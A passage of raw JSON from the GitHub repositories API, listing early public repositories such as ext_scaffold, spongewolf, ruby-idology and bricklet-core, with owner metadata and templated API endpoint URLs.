ooke/name_parser/statuses/{sha}","languages_url":"https://api.github.com/repos/bricooke/name_parser/languages","stargazers_url":"https://api.github.com/repos/bricooke/name_parser/stargazers","contributors_url":"https://api.github.com/repos/bricooke/name_parser/contributors","subscribers_url":"https://api.github.com/repos/bricooke/name_parser/subscribers","subscription_url":"https://api.github.com/repos/bricooke/name_parser/subscription","commits_url":"https://api.github.com/repos/bricooke/name_parser/commits{/sha}","git_commits_url":"https://api.github.com/repos/bricooke/name_parser/git/commits{/sha}","comments_url":"https://api.github.com/repos/bricooke/name_parser/comments{/number}","issue_comment_url":"https://api.github.com/repos/bricooke/name_parser/issues/comments/{number}","contents_url":"https://api.github.com/repos/bricooke/name_parser/contents/{+path}","compare_url":"https://api.github.com/repos/bricooke/name_parser/compare/{base}...{head}","merges_url":"https://api.github.com/repos/bricooke/name_parser/merges","archive_url":"https://api.github.com/repos/bricooke/name_parser/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/bricooke/name_parser/downloads","issues_url":"https://api.github.com/repos/bricooke/name_parser/issues{/number}","pulls_url":"https://api.github.com/repos/bricooke/name_parser/pulls{/number}","milestones_url":"https://api.github.com/repos/bricooke/name_parser/milestones{/number}","notifications_url":"https://api.github.com/repos/bricooke/name_parser/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/bricooke/name_parser/labels{/name}"},{"id":1381,"name":"ext_scaffold","full_name":"drudru/ext_scaffold","owner":{"login":"drudru","id":546,"avatar_url":"https://identicons.github.com/ed265bc903a5a097f61d3ec064d96d2e.png","gravatar_id":null,"url":"https://api.github.com/users/drudru","html_url":"https://github.com/drudru","followers_url":"https://api.github.com/users/drudru/followers","following_url":"https://api.github.com/users/drudru/following{/other_user}","gists_url":"https://api.github.com/users/drudru/gists{/gist_id}","starred_url":"https://api.github.com/users/drudru/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/drudru/subscriptions","organizations_url":"https://api.github.com/users/drudru/orgs","repos_url":"https://api.github.com/users/drudru/repos","events_url":"https://api.github.com/users/drudru/events{/privacy}","received_events_url":"https://api.github.com/users/drudru/received_events","type":"User"},"private":false,"html_url":"https://github.com/drudru/ext_scaffold","description":"copy of ext_scaffold","fork":false,"url":"https://api.github.com/repos/drudru/ext_scaffold","forks_url":"https://api.github.com/repos/drudru/ext_scaffold/forks","keys_url":"https://api.github.com/repos/drudru/ext_scaffold/keys{/key_id}","collaborators_url":"https://api.github.com/repos/drudru/ext_scaffold/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/drudru/ext_scaffold/teams","hooks_url":"https://api.github.com/repos/drudru/ext_scaffold/hooks","issue_events_url":"https://api.github.com/repos/drudru/ext_scaffold/issues/events{/number}","events_url":"https://api.github.com/repos/drudru/ext_scaffold/events","assignees_url":"https://api.github.com/repos/drudru/ext_scaffold/assignees{/user}","branches_url":"https://api.github.com/repos/drudru/ext_scaffold/branches{/branch}","tags_url":"https://api.github.com/repos/drudru/ext_scaffold/tags","blobs_url":"https://api.github.com/repos/drudru/ext_scaffold/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/drudru/ext_scaffold/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/drudru/ext_scaffold/git/refs{/sha}","trees_url":"https://api.github.com/repos/drudru/ext_scaffold/git/trees{/sha}","statuses_url":"https://api.github.com/repos/drudru/ext_scaffold/statuses/{sha}","languages_url":"https://api.github.com/repos/drudru/ext_scaffold/languages","stargazers_url":"https://api.github.com/repos/drudru/ext_scaffold/stargazers","contributors_url":"https://api.github.com/repos/drudru/ext_scaffold/contributors","subscribers_url":"https://api.github.com/repos/drudru/ext_scaffold/subscribers","subscription_url":"https://api.github.com/repos/drudru/ext_scaffold/subscription","commits_url":"https://api.github.com/repos/drudru/ext_scaffold/commits{/sha}","git_commits_url":"https://api.github.com/repos/drudru/ext_scaffold/git/commits{/sha}","comments_url":"https://api.github.com/repos/drudru/ext_scaffold/comments{/number}","issue_comment_url":"https://api.github.com/repos/drudru/ext_scaffold/issues/comments/{number}","contents_url":"https://api.github.com/repos/drudru/ext_scaffold/contents/{+path}","compare_url":"https://api.github.com/repos/drudru/ext_scaffold/compare/{base}...{head}","merges_url":"https://api.github.com/repos/drudru/ext_scaffold/merges","archive_url":"https://api.github.com/repos/drudru/ext_scaffold/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/drudru/ext_scaffold/downloads","issues_url":"https://api.github.com/repos/drudru/ext_scaffold/issues{/number}","pulls_url":"https://api.github.com/repos/drudru/ext_scaffold/pulls{/number}","milestones_url":"https://api.github.com/repos/drudru/ext_scaffold/milestones{/number}","notifications_url":"https://api.github.com/repos/drudru/ext_scaffold/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/drudru/ext_scaffold/labels{/name}"},{"id":1385,"name":"spongewolf","full_name":"ckhsponge/spongewolf","owner":{"login":"ckhsponge","id":590,"avatar_url":"https://2.gravatar.com/avatar/56b08cc76663f72307f41583a1980454?d=https%3A%2F%2Fidenticons.github.com%2F08b255a5d42b89b0585260b6f2360bdd.png","gravatar_id":"56b08cc76663f72307f41583a1980454","url":"https://api.github.com/users/ckhsponge","html_url":"https://github.com/ckhsponge","followers_url":"https://api.github.com/users/ckhsponge/followers","following_url":"https://api.github.com/users/ckhsponge/following{/other_user}","gists_url":"https://api.github.com/users/ckhsponge/gists{/gist_id}","starred_url":"https://api.github.com/users/ckhsponge/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ckhsponge/subscriptions","organizations_url":"https://api.github.com/users/ckhsponge/orgs","repos_url":"https://api.github.com/users/ckhsponge/repos","events_url":"https://api.github.com/users/ckhsponge/events{/privacy}","received_events_url":"https://api.github.com/users/ckhsponge/received_events","type":"User"},"private":false,"html_url":"https://github.com/ckhsponge/spongewolf","description":"Rails application for building event lists and calendars using the Spongecell API","fork":false,"url":"https://api.github.com/repos/ckhsponge/spongewolf","forks_url":"https://api.github.com/repos/ckhsponge/spongewolf/forks","keys_url":"https://api.github.com/repos/ckhsponge/spongewolf/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ckhsponge/spongewolf/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ckhsponge/spongewolf/teams","hooks_url":"https://api.github.com/repos/ckhsponge/spongewolf/hooks","issue_events_url":"https://api.github.com/repos/ckhsponge/spongewolf/issues/events{/number}","events_url":"https://api.github.com/repos/ckhsponge/spongewolf/events","assignees_url":"https://api.github.com/repos/ckhsponge/spongewolf/assignees{/user}","branches_url":"https://api.github.com/repos/ckhsponge/spongewolf/branches{/branch}","tags_url":"https://api.github.com/repos/ckhsponge/spongewolf/tags","blobs_url":"https://api.github.com/repos/ckhsponge/spongewolf/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ckhsponge/spongewolf/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ckhsponge/spongewolf/git/refs{/sha}","trees_url":"https://api.github.com/repos/ckhsponge/spongewolf/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ckhsponge/spongewolf/statuses/{sha}","languages_url":"https://api.github.com/repos/ckhsponge/spongewolf/languages","stargazers_url":"https://api.github.com/repos/ckhsponge/spongewolf/stargazers","contributors_url":"https://api.github.com/repos/ckhsponge/spongewolf/contributors","subscribers_url":"https://api.github.com/repos/ckhsponge/spongewolf/subscribers","subscription_url":"https://api.github.com/repos/ckhsponge/spongewolf/subscription","commits_url":"https://api.github.com/repos/ckhsponge/spongewolf/commits{/sha}","git_commits_url":"https://api.github.com/repos/ckhsponge/spongewolf/git/commits{/sha}","comments_url":"https://api.github.com/repos/ckhsponge/spongewolf/comments{/number}","issue_comment_url":"https://api.github.com/repos/ckhsponge/spongewolf/issues/comments/{number}","contents_url":"https://api.github.com/repos/ckhsponge/spongewolf/contents/{+path}","compare_url":"https://api.github.com/repos/ckhsponge/spongewolf/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ckhsponge/spongewolf/merges","archive_url":"https://api.github.com/repos/ckhsponge/spongewolf/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ckhsponge/spongewolf/downloads","issues_url":"https://api.github.com/repos/ckhsponge/spongewolf/issues{/number}","pulls_url":"https://api.github.com/repos/ckhsponge/spongewolf/pulls{/number}","milestones_url":"https://api.github.com/repos/ckhsponge/spongewolf/milestones{/number}","notifications_url":"https://api.github.com/repos/ckhsponge/spongewolf/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ckhsponge/spongewolf/labels{/name}"},{"id":1388,"name":"amazing","full_name":"dag/amazing","owner":{"login":"dag","id":319,"avatar_url":"https://1.gravatar.com/avatar/482f6832b98eccb86e2a5dc4de8aad91?d=https%3A%2F%2Fidenticons.github.com%2F8d3bba7425e7c98c50f52ca1b52d3735.png","gravatar_id":"482f6832b98eccb86e2a5dc4de8aad91","url":"https://api.github.com/users/dag","html_url":"https://github.com/dag","followers_url":"https://api.github.com/users/dag/followers","following_url":"https://api.github.com/users/dag/following{/other_user}","gists_url":"https://api.github.com/users/dag/gists{/gist_id}","starred_url":"https://api.github.com/users/dag/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dag/subscriptions","organizations_url":"https://api.github.com/users/dag/orgs","repos_url":"https://api.github.com/users/dag/repos","events_url":"https://api.github.com/users/dag/events{/privacy}","received_events_url":"https://api.github.com/users/dag/received_events","type":"User"},"private":false,"html_url":"https://github.com/dag/amazing","description":"an amazing widget manager for an awesome window manager","fork":false,"url":"https://api.github.com/repos/dag/amazing","forks_url":"https://api.github.com/repos/dag/amazing/forks","keys_url":"https://api.github.com/repos/dag/amazing/keys{/key_id}","collaborators_url":"https://api.github.com/repos/dag/amazing/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/dag/amazing/teams","hooks_url":"https://api.github.com/repos/dag/amazing/hooks","issue_events_url":"https://api.github.com/repos/dag/amazing/issues/events{/number}","events_url":"https://api.github.com/repos/dag/amazing/events","assignees_url":"https://api.github.com/repos/dag/amazing/assignees{/user}","branches_url":"https://api.github.com/repos/dag/amazing/branches{/branch}","tags_url":"https://api.github.com/repos/dag/amazing/tags","blobs_url":"https://api.github.com/repos/dag/amazing/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/dag/amazing/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/dag/amazing/git/refs{/sha}","trees_url":"https://api.github.com/repos/dag/amazing/git/trees{/sha}","statuses_url":"https://api.github.com/repos/dag/amazing/statuses/{sha}","languages_url":"https://api.github.com/repos/dag/amazing/languages","stargazers_url":"https://api.github.com/repos/dag/amazing/stargazers","contributors_url":"https://api.github.com/repos/dag/amazing/contributors","subscribers_url":"https://api.github.com/repos/dag/amazing/subscribers","subscription_url":"https://api.github.com/repos/dag/amazing/subscription","commits_url":"https://api.github.com/repos/dag/amazing/commits{/sha}","git_commits_url":"https://api.github.com/repos/dag/amazing/git/commits{/sha}","comments_url":"https://api.github.com/repos/dag/amazing/comments{/number}","issue_comment_url":"https://api.github.com/repos/dag/amazing/issues/comments/{number}","contents_url":"https://api.github.com/repos/dag/amazing/contents/{+path}","compare_url":"https://api.github.com/repos/dag/amazing/compare/{base}...{head}","merges_url":"https://api.github.com/repos/dag/amazing/merges","archive_url":"https://api.github.com/repos/dag/amazing/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/dag/amazing/downloads","issues_url":"https://api.github.com/repos/dag/amazing/issues{/number}","pulls_url":"https://api.github.com/repos/dag/amazing/pulls{/number}","milestones_url":"https://api.github.com/repos/dag/amazing/milestones{/number}","notifications_url":"https://api.github.com/repos/dag/amazing/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/dag/amazing/labels{/name}"},{"id":1398,"name":"ruby-merlin","full_name":"pdsphil/ruby-merlin","owner":{"login":"pdsphil","id":268,"avatar_url":"https://1.gravatar.com/avatar/e0bd199c24c59f1666f3ce960c3309ee?d=https%3A%2F%2Fidenticons.github.com%2F8f121ce07d74717e0b1f21d122e04521.png","gravatar_id":"e0bd199c24c59f1666f3ce960c3309ee","url":"https://api.github.com/users/pdsphil","html_url":"https://github.com/pdsphil","followers_url":"https://api.github.com/users/pdsphil/followers","following_url":"https://api.github.com/users/pdsphil/following{/other_user}","gists_url":"https://api.github.com/users/pdsphil/gists{/gist_id}","starred_url":"https://api.github.com/users/pdsphil/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/pdsphil/subscriptions","organizations_url":"https://api.github.com/users/pdsphil/orgs","repos_url":"https://api.github.com/users/pdsphil/repos","events_url":"https://api.github.com/users/pdsphil/events{/privacy}","received_events_url":"https://api.github.com/users/pdsphil/received_events","type":"User"},"private":false,"html_url":"https://github.com/pdsphil/ruby-merlin","description":"Ruby interface to the Merlin API","fork":false,"url":"https://api.github.com/repos/pdsphil/ruby-merlin","forks_url":"https://api.github.com/repos/pdsphil/ruby-merlin/forks","keys_url":"https://api.github.com/repos/pdsphil/ruby-merlin/keys{/key_id}","collaborators_url":"https://api.github.com/repos/pdsphil/ruby-merlin/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/pdsphil/ruby-merlin/teams","hooks_url":"https://api.github.com/repos/pdsphil/ruby-merlin/hooks","issue_events_url":"https://api.github.com/repos/pdsphil/ruby-merlin/issues/events{/number}","events_url":"https://api.github.com/repos/pdsphil/ruby-merlin/events","assignees_url":"https://api.github.com/repos/pdsphil/ruby-merlin/assignees{/user}","branches_url":"https://api.github.com/repos/pdsphil/ruby-merlin/branches{/branch}","tags_url":"https://api.github.com/repos/pdsphil/ruby-merlin/tags","blobs_url":"https://api.github.com/repos/pdsphil/ruby-merlin/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/pdsphil/ruby-merlin/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/pdsphil/ruby-merlin/git/refs{/sha}","trees_url":"https://api.github.com/repos/pdsphil/ruby-merlin/git/trees{/sha}","statuses_url":"https://api.github.com/repos/pdsphil/ruby-merlin/statuses/{sha}","languages_url":"https://api.github.com/repos/pdsphil/ruby-merlin/languages","stargazers_url":"https://api.github.com/repos/pdsphil/ruby-merlin/stargazers","contributors_url":"https://api.github.com/repos/pdsphil/ruby-merlin/contributors","subscribers_url":"https://api.github.com/repos/pdsphil/ruby-merlin/subscribers","subscription_url":"https://api.github.com/repos/pdsphil/ruby-merlin/subscription","commits_url":"https://api.github.com/repos/pdsphil/ruby-merlin/commits{/sha}","git_commits_url":"https://api.github.com/repos/pdsphil/ruby-merlin/git/commits{/sha}","comments_url":"https://api.github.com/repos/pdsphil/ruby-merlin/comments{/number}","issue_comment_url":"https://api.github.com/repos/pdsphil/ruby-merlin/issues/comments/{number}","contents_url":"https://api.github.com/repos/pdsphil/ruby-merlin/contents/{+path}","compare_url":"https://api.github.com/repos/pdsphil/ruby-merlin/compare/{base}...{head}","merges_url":"https://api.github.com/repos/pdsphil/ruby-merlin/merges","archive_url":"https://api.github.com/repos/pdsphil/ruby-merlin/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/pdsphil/ruby-merlin/downloads","issues_url":"https://api.github.com/repos/pdsphil/ruby-merlin/issues{/number}","pulls_url":"https://api.github.com/repos/pdsphil/ruby-merlin/pulls{/number}","milestones_url":"https://api.github.com/repos/pdsphil/ruby-merlin/milestones{/number}","notifications_url":"https://api.github.com/repos/pdsphil/ruby-merlin/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/pdsphil/ruby-merlin/labels{/name}"},{"id":1401,"name":"tekkonfig","full_name":"tekkub/tekkonfig","owner":{"login":"tekkub","id":706,"avatar_url":"https://1.gravatar.com/avatar/472814aac7576b67da59ea79fcbf7d66?d=https%3A%2F%2Fidenticons.github.com%2F9c82c7143c102b71c593d98d96093fde.png","gravatar_id":"472814aac7576b67da59ea79fcbf7d66","url":"https://api.github.com/users/tekkub","html_url":"https://github.com/tekkub","followers_url":"https://api.github.com/users/tekkub/followers","following_url":"https://api.github.com/users/tekkub/following{/other_user}","gists_url":"https://api.github.com/users/tekkub/gists{/gist_id}","starred_url":"https://api.github.com/users/tekkub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tekkub/subscriptions","organizations_url":"https://api.github.com/users/tekkub/orgs","repos_url":"https://api.github.com/users/tekkub/repos","events_url":"https://api.github.com/users/tekkub/events{/privacy}","received_events_url":"https://api.github.com/users/tekkub/received_events","type":"User"},"private":false,"html_url":"https://github.com/tekkub/tekkonfig","description":"Misc GUI widget factories for World of Warcraft addons","fork":false,"url":"https://api.github.com/repos/tekkub/tekkonfig","forks_url":"https://api.github.com/repos/tekkub/tekkonfig/forks","keys_url":"https://api.github.com/repos/tekkub/tekkonfig/keys{/key_id}","collaborators_url":"https://api.github.com/repos/tekkub/tekkonfig/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/tekkub/tekkonfig/teams","hooks_url":"https://api.github.com/repos/tekkub/tekkonfig/hooks","issue_events_url":"https://api.github.com/repos/tekkub/tekkonfig/issues/events{/number}","events_url":"https://api.github.com/repos/tekkub/tekkonfig/events","assignees_url":"https://api.github.com/repos/tekkub/tekkonfig/assignees{/user}","branches_url":"https://api.github.com/repos/tekkub/tekkonfig/branches{/branch}","tags_url":"https://api.github.com/repos/tekkub/tekkonfig/tags","blobs_url":"https://api.github.com/repos/tekkub/tekkonfig/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/tekkub/tekkonfig/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/tekkub/tekkonfig/git/refs{/sha}","trees_url":"https://api.github.com/repos/tekkub/tekkonfig/git/trees{/sha}","statuses_url":"https://api.github.com/repos/tekkub/tekkonfig/statuses/{sha}","languages_url":"https://api.github.com/repos/tekkub/tekkonfig/languages","stargazers_url":"https://api.github.com/repos/tekkub/tekkonfig/stargazers","contributors_url":"https://api.github.com/repos/tekkub/tekkonfig/contributors","subscribers_url":"https://api.github.com/repos/tekkub/tekkonfig/subscribers","subscription_url":"https://api.github.com/repos/tekkub/tekkonfig/subscription","commits_url":"https://api.github.com/repos/tekkub/tekkonfig/commits{/sha}","git_commits_url":"https://api.github.com/repos/tekkub/tekkonfig/git/commits{/sha}","comments_url":"https://api.github.com/repos/tekkub/tekkonfig/comments{/number}","issue_comment_url":"https://api.github.com/repos/tekkub/tekkonfig/issues/comments/{number}","contents_url":"https://api.github.com/repos/tekkub/tekkonfig/contents/{+path}","compare_url":"https://api.github.com/repos/tekkub/tekkonfig/compare/{base}...{head}","merges_url":"https://api.github.com/repos/tekkub/tekkonfig/merges","archive_url":"https://api.github.com/repos/tekkub/tekkonfig/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/tekkub/tekkonfig/downloads","issues_url":"https://api.github.com/repos/tekkub/tekkonfig/issues{/number}","pulls_url":"https://api.github.com/repos/tekkub/tekkonfig/pulls{/number}","milestones_url":"https://api.github.com/repos/tekkub/tekkonfig/milestones{/number}","notifications_url":"https://api.github.com/repos/tekkub/tekkonfig/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/tekkub/tekkonfig/labels{/name}"},{"id":1402,"name":"ruby-idology","full_name":"pdsphil/ruby-idology","owner":{"login":"pdsphil","id":268,"avatar_url":"https://1.gravatar.com/avatar/e0bd199c24c59f1666f3ce960c3309ee?d=https%3A%2F%2Fidenticons.github.com%2F8f121ce07d74717e0b1f21d122e04521.png","gravatar_id":"e0bd199c24c59f1666f3ce960c3309ee","url":"https://api.github.com/users/pdsphil","html_url":"https://github.com/pdsphil","followers_url":"https://api.github.com/users/pdsphil/followers","following_url":"https://api.github.com/users/pdsphil/following{/other_user}","gists_url":"https://api.github.com/users/pdsphil/gists{/gist_id}","starred_url":"https://api.github.com/users/pdsphil/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/pdsphil/subscriptions","organizations_url":"https://api.github.com/users/pdsphil/orgs","repos_url":"https://api.github.com/users/pdsphil/repos","events_url":"https://api.github.com/users/pdsphil/events{/privacy}","received_events_url":"https://api.github.com/users/pdsphil/received_events","type":"User"},"private":false,"html_url":"https://github.com/pdsphil/ruby-idology","description":"Ruby interface to the IDology API","fork":false,"url":"https://api.github.com/repos/pdsphil/ruby-idology","forks_url":"https://api.github.com/repos/pdsphil/ruby-idology/forks","keys_url":"https://api.github.com/repos/pdsphil/ruby-idology/keys{/key_id}","collaborators_url":"https://api.github.com/repos/pdsphil/ruby-idology/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/pdsphil/ruby-idology/teams","hooks_url":"https://api.github.com/repos/pdsphil/ruby-idology/hooks","issue_events_url":"https://api.github.com/repos/pdsphil/ruby-idology/issues/events{/number}","events_url":"https://api.github.com/repos/pdsphil/ruby-idology/events","assignees_url":"https://api.github.com/repos/pdsphil/ruby-idology/assignees{/user}","branches_url":"https://api.github.com/repos/pdsphil/ruby-idology/branches{/branch}","tags_url":"https://api.github.com/repos/pdsphil/ruby-idology/tags","blobs_url":"https://api.github.com/repos/pdsphil/ruby-idology/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/pdsphil/ruby-idology/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/pdsphil/ruby-idology/git/refs{/sha}","trees_url":"https://api.github.com/repos/pdsphil/ruby-idology/git/trees{/sha}","statuses_url":"https://api.github.com/repos/pdsphil/ruby-idology/statuses/{sha}","languages_url":"https://api.github.com/repos/pdsphil/ruby-idology/languages","stargazers_url":"https://api.github.com/repos/pdsphil/ruby-idology/stargazers","contributors_url":"https://api.github.com/repos/pdsphil/ruby-idology/contributors","subscribers_url":"https://api.github.com/repos/pdsphil/ruby-idology/subscribers","subscription_url":"https://api.github.com/repos/pdsphil/ruby-idology/subscription","commits_url":"https://api.github.com/repos/pdsphil/ruby-idology/commits{/sha}","git_commits_url":"https://api.github.com/repos/pdsphil/ruby-idology/git/commits{/sha}","comments_url":"https://api.github.com/repos/pdsphil/ruby-idology/comments{/number}","issue_comment_url":"https://api.github.com/repos/pdsphil/ruby-idology/issues/comments/{number}","contents_url":"https://api.github.com/repos/pdsphil/ruby-idology/contents/{+path}","compare_url":"https://api.github.com/repos/pdsphil/ruby-idology/compare/{base}...{head}","merges_url":"https://api.github.com/repos/pdsphil/ruby-idology/merges","archive_url":"https://api.github.com/repos/pdsphil/ruby-idology/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/pdsphil/ruby-idology/downloads","issues_url":"https://api.github.com/repos/pdsphil/ruby-idology/issues{/number}","pulls_url":"https://api.github.com/repos/pdsphil/ruby-idology/pulls{/number}","milestones_url":"https://api.github.com/repos/pdsphil/ruby-idology/milestones{/number}","notifications_url":"https://api.github.com/repos/pdsphil/ruby-idology/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/pdsphil/ruby-idology/labels{/name}"},{"id":1408,"name":"luaclr","full_name":"mascarenhas/luaclr","owner":{"login":"mascarenhas","id":363,"avatar_url":"https://0.gravatar.com/avatar/f9757c8ee985d7343427b8bd1797ec2f?d=https%3A%2F%2Fidenticons.github.com%2F00411460f7c92d2124a67ea0f4cb5f85.png","gravatar_id":"f9757c8ee985d7343427b8bd1797ec2f","url":"https://api.github.com/users/mascarenhas","html_url":"https://github.com/mascarenhas","followers_url":"https://api.github.com/users/mascarenhas/followers","following_url":"https://api.github.com/users/mascarenhas/following{/other_user}","gists_url":"https://api.github.com/users/mascarenhas/gists{/gist_id}","starred_url":"https://api.github.com/users/mascarenhas/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mascarenhas/subscriptions","organizations_url":"https://api.github.com/users/mascarenhas/orgs","repos_url":"https://api.github.com/users/mascarenhas/repos","events_url":"https://api.github.com/users/mascarenhas/events{/privacy}","received_events_url":"https://api.github.com/users/mascarenhas/received_events","type":"User"},"private":false,"html_url":"https://github.com/mascarenhas/luaclr","description":"","fork":false,"url":"https://api.github.com/repos/mascarenhas/luaclr","forks_url":"https://api.github.com/repos/mascarenhas/luaclr/forks","keys_url":"https://api.github.com/repos/mascarenhas/luaclr/keys{/key_id}","collaborators_url":"https://api.github.com/repos/mascarenhas/luaclr/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/mascarenhas/luaclr/teams","hooks_url":"https://api.github.com/repos/mascarenhas/luaclr/hooks","issue_events_url":"https://api.github.com/repos/mascarenhas/luaclr/issues/events{/number}","events_url":"https://api.github.com/repos/mascarenhas/luaclr/events","assignees_url":"https://api.github.com/repos/mascarenhas/luaclr/assignees{/user}","branches_url":"https://api.github.com/repos/mascarenhas/luaclr/branches{/branch}","tags_url":"https://api.github.com/repos/mascarenhas/luaclr/tags","blobs_url":"https://api.github.com/repos/mascarenhas/luaclr/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/mascarenhas/luaclr/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/mascarenhas/luaclr/git/refs{/sha}","trees_url":"https://api.github.com/repos/mascarenhas/luaclr/git/trees{/sha}","statuses_url":"https://api.github.com/repos/mascarenhas/luaclr/statuses/{sha}","languages_url":"https://api.github.com/repos/mascarenhas/luaclr/languages","stargazers_url":"https://api.github.com/repos/mascarenhas/luaclr/stargazers","contributors_url":"https://api.github.com/repos/mascarenhas/luaclr/contributors","subscribers_url":"https://api.github.com/repos/mascarenhas/luaclr/subscribers","subscription_url":"https://api.github.com/repos/mascarenhas/luaclr/subscription","commits_url":"https://api.github.com/repos/mascarenhas/luaclr/commits{/sha}","git_commits_url":"https://api.github.com/repos/mascarenhas/luaclr/git/commits{/sha}","comments_url":"https://api.github.com/repos/mascarenhas/luaclr/comments{/number}","issue_comment_url":"https://api.github.com/repos/mascarenhas/luaclr/issues/comments/{number}","contents_url":"https://api.github.com/repos/mascarenhas/luaclr/contents/{+path}","compare_url":"https://api.github.com/repos/mascarenhas/luaclr/compare/{base}...{head}","merges_url":"https://api.github.com/repos/mascarenhas/luaclr/merges","archive_url":"https://api.github.com/repos/mascarenhas/luaclr/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/mascarenhas/luaclr/downloads","issues_url":"https://api.github.com/repos/mascarenhas/luaclr/issues{/number}","pulls_url":"https://api.github.com/repos/mascarenhas/luaclr/pulls{/number}","milestones_url":"https://api.github.com/repos/mascarenhas/luaclr/milestones{/number}","notifications_url":"https://api.github.com/repos/mascarenhas/luaclr/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/mascarenhas/luaclr/labels{/name}"},{"id":1411,"name":"bricklet-core","full_name":"jasonm/bricklet-core","owner":{"login":"jasonm","id":1031,"avatar_url":"https://2.gravatar.com/avatar/8478f9ebe099ad853f022deeb2c1defe?d=https%3A%2F%2Fidenticons.github.com%2Fafdec7005cc9f14302cd0474fd0f3c96.png","gravatar_id":"8478f9ebe099ad853f022deeb2c1defe","url":"https://api.github.com/users/jasonm","html_url":"https://github.com/jasonm","followers_url":"https://api.github.com/users/jasonm/followers","following_url":"https://api.github.com/users/jasonm/following{/other_user}","gists_url":"https://api.github.com/users/jasonm/gists{/gist_id}","starred_url":"https://api.github.com/users/jasonm/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jasonm/subscriptions","organizations_url":"https://api.github.com/users/jasonm/orgs","repos_url":"https://api.github.com/users/jasonm/repos","events_url":"https://api.github.com/users/jasonm/events{/privacy}","received_events_url":"https://api.github.com/users/jasonm/received_events","type":"User"},"private":false,"html_url":"https://github.com/jasonm/bricklet-core","description":"Core data server for BioBrick format","fork":false,"url":"https://api.github.com/repos/jasonm/bricklet-core","forks_url":"https://api.github.com/repos/jasonm/bricklet-core/forks","keys_url":"https://api.github.com/repos/jasonm/bricklet-core/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jasonm/bricklet-core/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jasonm/bricklet-core/teams","hooks_url":"https://api.github.com/repos/jasonm/bricklet-core/hooks","issue_events_url":"https://api.github.com/repos/jasonm/bricklet-core/issues/events{/number}","events_url":"https://api.github.com/repos/jasonm/bricklet-core/events","assignees_url":"https://api.github.com/repos/jasonm/bricklet-core/assignees{/user}","branches_url":"https://api.github.com/repos/jasonm/bricklet-core/branches{/branch}","tags_url":"https://api.github.com/repos/jasonm/bricklet-core/tags","blobs_url":"https://api.github.com/repos/jasonm/bricklet-core/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jasonm/bricklet-core/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jasonm/bricklet-core/git/refs{/sha}","trees_url":"https://api.github.com/repos/jasonm/bricklet-core/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jasonm/bricklet-core/statuses/{sha}","languages_url":"https://api.github.com/repos/jasonm/bricklet-core/languages","stargazers_url":"https://api.github.com/repos/jasonm/bricklet-core/stargazers","contributors_url":"https://api.github.com/repos/jasonm/bricklet-core/contributors","subscribers_url":"https://api.github.com/repos/jasonm/bricklet-core/subscribers","subscription_url":"https://api.github.com/repos/jasonm/bricklet-core/subscription","commits_url":"https://api.github.com/repos/jasonm/bricklet-core/commits{/sha}","git_commits_url":"https://api.github.com/repos/jasonm/bricklet-core/git/commits{/sha}","comments_url":"https://api.github.com/repos/jasonm/bricklet-core/comments{/number}","issue_comment_url":"https://api.github.com/repos/jasonm/bricklet-core/issues/comments/{number}","contents_url":"https://api.github.com/repos/jasonm/bricklet-core/contents/{+path}","compare_url":"https://api.github.com/repos/jasonm/bricklet-core/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jasonm/bricklet-core/merges","archive_url":"https://api.github.com/repos/jasonm/bricklet-core/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jasonm/bricklet-core/downloads","issues_url":"https://api.github.com/repos/jasonm/bricklet-core/issues{/number}","pulls_url":"https://api.github.com/repos/jasonm/bricklet-core/pulls{/number}","milestones_url":"https://api.github.com/repos/jasonm/bricklet-core/milestones{/number}","notifications_url":"https://api.github.com/repos/jasonm/bricklet-core/noti